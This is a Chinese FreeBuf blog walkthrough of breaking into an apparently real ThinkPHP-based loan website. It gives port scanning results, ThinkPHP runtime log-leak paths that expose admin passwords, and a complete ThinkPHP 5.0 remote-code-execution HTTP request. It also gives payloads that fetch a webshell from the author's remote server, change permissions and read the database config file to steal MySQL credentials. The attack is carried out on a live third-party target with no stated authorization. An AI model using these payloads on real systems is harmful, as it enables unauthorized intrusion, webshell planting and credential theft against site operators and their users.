freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ThinkPHP框架渗透实战
渔夫也爱摸鱼 2022-01-17 21:47:57 331051
所属地 四川省

信息收集

找到一个网站 http://x.x.x.x/ 下面开始对他进行渗透

首先使用nmap对受害服务器开放的端口扫描探测端口

image.png
可以看到开放的端口如下
image.png

端口就是应用程序在计算机通信中的唯一识别id,通过端口我们就能知道受害服务器开放了什么服务

如3306是mysql并开启了外联,接下来我们对端口访问看看具体开放了什么服务

8080开放了phpmyadmin一款php连接mysql工具我们可以利用他爆破mysql密码

image.png

8082是一个贷款首页

image.png

随便输入一个不存在的路由然后查看错误信息如http://x.x.x.x/gfvhf

image.png

成功报错:thinkphp框架的版本是5.1.7(这个版本有注入漏洞)

image.png

8084是一个后台继续收集

image.png

8092是一个后台,因为部署不规范存在thinkphp日志泄露,路径 http://x.x.x.x:8092/runtime/log/202112/19.log 可以到里面查看到管理员登录过的账号密码。

这里说一下黑产使用thinkphp框架因为运维半吊子很有可能有thinkphp日志泄露

tp5-6 payload: 域名/runtime/log/202112/19.log (后面的202112/19.log是根据当前日期变化的)

tp3 payload: 域名 /Application/Runtime/Logs/Home/21_12_19.log (后面的21_12_19.log是根据当前日期变化的)

image.png

8083端口使用的thinkphp版本是5.0.15,5.0.15版本的利用条件低挑软柿子捏就这个吧

image.png

信息收集完毕精准打击

打开burp,然后使用抓包,然后将数据包转发到burp的Repeater模块下,将抓包内容替换成如下内容

漏洞原理就不做详细讲解了,没个php架构层是听不懂的。简单描述一下就是一个变量覆盖造成代码执行

thinkphp5漏洞poc可参考 https://y4er.com/post/thinkphp5-rce/

下面数据包内容是触发漏洞让服务器执行phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

执行成功,可以看到php的一些详细信息

image.png

下面开始写入shell将请求头替换成:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

意思是将我服务器上远程的shell文件http://x.x.x.x/2.txt下载,写入到当前web目录下的t2.php

但我访问t2.php,出现404猜测应该是当前目录没有写权限

于是尝试给写权限:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

发现还是写不了shell,php权限很低。

将chmod('./',0777) 替换成readfile('../application/database.php')读取数据库配置文件。发现成功获取到mysql账号密码。

image.png

使用我们之前发现的phpmyadmin服务登录然后mysql开启外联

使用mysql管理工具连接,发现一堆数据库。并且mysql直接是root权限,可以对服务器进行提权(内网横向渗透)等。反正外网以经开了一个口子,这里我就不深入了。

image.png

总结

总结一下我自己摸索出来的一些思路:thinkphp在开启debug模式下如果服务器开启了数据库外联,可以通过爆破mysql服务发送大量请求(让mysql堵塞),使thinkphp连接mysql超时就会报连接异常错误,并将mysql账号密码输出到页面上。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 渔夫也爱摸鱼 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渔夫也爱摸鱼 LV.3
NjE5MzM0MTY3
  • 7 文章数
  • 22 关注者
如何编写Python漏洞验证脚本(单线程和多线程)
2022-01-09
不只会利用工具:理解bypass disable_functions
2022-01-02
PHP字符逃逸导致的对象注入
2021-12-27
文章目录